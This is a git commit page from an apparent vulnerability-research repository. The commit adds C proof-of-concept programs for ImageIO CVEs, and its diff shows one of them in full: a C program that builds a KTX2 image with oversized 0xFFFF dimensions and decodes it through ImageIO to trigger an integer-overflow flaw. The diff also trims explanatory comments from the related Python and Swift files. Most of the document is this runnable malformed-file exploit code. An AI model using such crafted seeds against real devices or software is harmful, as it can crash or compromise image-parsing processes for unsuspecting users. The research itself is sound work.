v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,89 @@
|
||||
// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
|
||||
// KTX2 oversized dimensions decode
|
||||
// C twin of the Swift POC: builds the 0xFFFF-dimension KTX2 and decodes it through ImageIO.
|
||||
// Variant iio.pvr (PVR under-declared bitsPerPixel) is noted in the Swift POC.
|
||||
// Build: clang -O2 -o cve-2026-112625 CVE-2026-112625.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112625 [dim]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void le32(buf *b, uint32_t v) {
|
||||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||||
}
|
||||
static void le64(buf *b, uint64_t v) {
|
||||
for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 CVE-2026-112625.py: build_ktx2) ──
|
||||
static buf ktx2_bad_dims(uint32_t dim) {
|
||||
buf out = {0};
|
||||
bcat(&out, "\xab\x4b\x54\x58\x20\x32\x30\xbb\x0d\x0a\x1a\x0a", 12); // KTX2 magic
|
||||
le32(&out, 0); // vkFormat 0 → block-compressed via DFD
|
||||
le32(&out, 1); // typeSize
|
||||
le32(&out, dim); // pixelWidth = 0xFFFF
|
||||
le32(&out, dim); // pixelHeight = 0xFFFF
|
||||
le32(&out, 0); // pixelDepth
|
||||
le32(&out, 0); // layerCount
|
||||
le32(&out, 1); // faceCount
|
||||
le32(&out, 1); // levelCount
|
||||
le32(&out, 0); // supercompressionScheme
|
||||
le32(&out, 0); le64(&out, 0); // kvdByteOffset / kvdByteLength
|
||||
le32(&out, 0); le64(&out, 0); // sgdByteOffset / sgdByteLength
|
||||
// one level: byteOffset 0, byteLength 64, uncompressedLength 64
|
||||
le64(&out, 0); le64(&out, 64); le64(&out, 64);
|
||||
brep(&out, 0, 64); // level body
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: decode through ImageIO ──
|
||||
#include <ImageIO/ImageIO.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int decode_image(const buf *img, const char **detail) {
|
||||
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
||||
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
||||
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
||||
CFRelease(cf);
|
||||
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
||||
size_t frames = CGImageSourceGetCount(src);
|
||||
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
||||
static char r[256];
|
||||
if (cg) {
|
||||
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
|
||||
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
|
||||
CGImageRelease(cg);
|
||||
} else {
|
||||
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
|
||||
}
|
||||
CFRelease(src);
|
||||
*detail = r;
|
||||
return cg ? 0 : -1;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
uint32_t dim = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0xFFFF;
|
||||
|
||||
buf ktx2 = ktx2_bad_dims(dim);
|
||||
FILE *f = fopen("ktx2_bad_dims.ktx2", "wb");
|
||||
if (f) { fwrite(ktx2.d, 1, ktx2.n, f); fclose(f); }
|
||||
|
||||
const char *detail = NULL;
|
||||
int rc = decode_image(&ktx2, &detail);
|
||||
printf("CVE-2026-112625 · dims 0x%x x 0x%x, level 64 B · %s\n", dim, dim, detail ? detail : "?");
|
||||
printf("seed: ktx2_bad_dims.ktx2 (%zu B) · exit code %d\n", ktx2.n, rc);
|
||||
bfree(&ktx2);
|
||||
return rc == 0 ? 0 : 1;
|
||||
}
|
||||
@@ -1,20 +1,4 @@
|
||||
#!/usr/bin/env python3
|
||||
# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
|
||||
# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
|
||||
#
|
||||
# [zh] KTX2 维度/层级尺寸运算
|
||||
# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护，且既有检查所依据的量本身是错的（使用 channels 而非源 bpp）。27.2 增加 \"image
|
||||
# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
|
||||
#
|
||||
# [en] KTX2 dimension and level size arithmetic
|
||||
# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
|
||||
# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
|
||||
# dimensions overflow" and "expected %llu bytes" gates.
|
||||
#
|
||||
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
|
||||
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112625.swift
|
||||
# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
|
||||
|
||||
import struct
|
||||
|
||||
|
||||
|
||||
@@ -1,25 +1,9 @@
|
||||
// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
|
||||
// 原语: 整数溢出 · 进程内 · tier 2
|
||||
// Primitive: integer overflow · in-process · tier 2
|
||||
//
|
||||
// [zh] KTX2 维度/层级尺寸运算
|
||||
// KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护，且既有检查所依据的量本身是错的（使用 channels 而非源 bpp）。27.2 增加 \"image
|
||||
// dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
|
||||
//
|
||||
// [en] KTX2 dimension and level size arithmetic
|
||||
// KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
|
||||
// check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions
|
||||
// overflow" and "expected %llu bytes" gates.
|
||||
// ── 判别 / oracle ──
|
||||
// 维度 0xFFFF×0xFFFF，层级索引声明 64 字节。
|
||||
// 变体 iio.pvr: PVR 位深低于通道位和
|
||||
//
|
||||
// 种子构建器（python，可直接运行）: CVE-2026-112625/CVE-2026-112625.py
|
||||
// runnable python seed builder: CVE-2026-112625/CVE-2026-112625.py
|
||||
|
||||
// KTX2 dimension and level size arithmetic
|
||||
// Standalone builder: CVE-2026-112625.py
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -40,20 +24,4 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
/*
|
||||
// iio.pvr · ImageIO · PVRReadPlugin::initialize · CVE-2026-112625
|
||||
// 原语: 整数溢出 · 进程内 · tier 3
|
||||
// Primitive: integer overflow · in-process · tier 3
|
||||
//
|
||||
// [zh] PVR 位深低于通道位和
|
||||
// 各通道位数之间的相互匹配检查早已存在，但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels
|
||||
// of %d bits\"。
|
||||
//
|
||||
// [en] PVR bits-per-pixel below the channel bit sum
|
||||
// The mutual consistency check between channel bit widths has always been present, but there is no
|
||||
// lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel
|
||||
// %d is too small for 4 channels of %d bits".
|
||||
*/
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user